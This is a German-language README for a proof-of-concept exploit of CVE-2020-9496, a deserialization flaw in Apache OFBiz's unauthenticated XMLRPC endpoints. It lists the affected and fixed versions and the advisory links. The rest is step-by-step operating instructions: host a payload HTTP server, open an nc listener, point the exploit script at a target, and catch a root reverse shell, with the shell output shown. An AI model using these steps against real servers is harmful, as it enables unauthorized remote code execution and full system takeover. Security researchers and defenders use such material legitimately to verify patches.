CVE-2020-9496

Da die beiden XMLRPC-bezogenen Anfragen in Webtools (xmlrpc und ping) keine Authentifizierung verwenden, sind sie anfällig für unsichere Deserialisierung.
Dieses Problem wurde dem Sicherheitsteam von Alvaro Munoz [email protected] vom GitHub Security Lab Team gemeldet.

Betroffene Version 17.12.01

Behobene Versionen 18.12.01, 17.12.04

Original Blog: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/
Apache's Post: https://issues.apache.org/jira/browse/OFBIZ-11716
Github's POC: https://github.com/g33xter/CVE-2020-9496

Damit dieser Exploit funktioniert, müssen Sie die folgenden Schritte ausführen:

Schritt 1: HTTP-Dienst mit python3 hosten

> sudo python3 -m http.server 80

Schritt 2: nc-Listener auf dem gewünschten Port ausführen (empfohlen 8001)

> nc -nlvp 8001

Schritt 3: URL und Port der Website im Skript ändern:

url='https://127.0.0.1' # CHANGE THIS                                                         
port=8443 # CHANGE THIS

Schritt 4: Den Exploit wie unten gezeigt ausführen

> ./cve-2020-9496.sh -i IP -p PORT

Schritt 5: nc-Listener überprüfen

❯ nc -nlvp 8001
listening on [any] 8001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.10.x.x] 57500
bash: cannot set terminal process group (31): Inappropriate ioctl for device
bash: no job control in this shell
root@poc:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
root@poc:/usr/src/apache-ofbiz-17.12.01#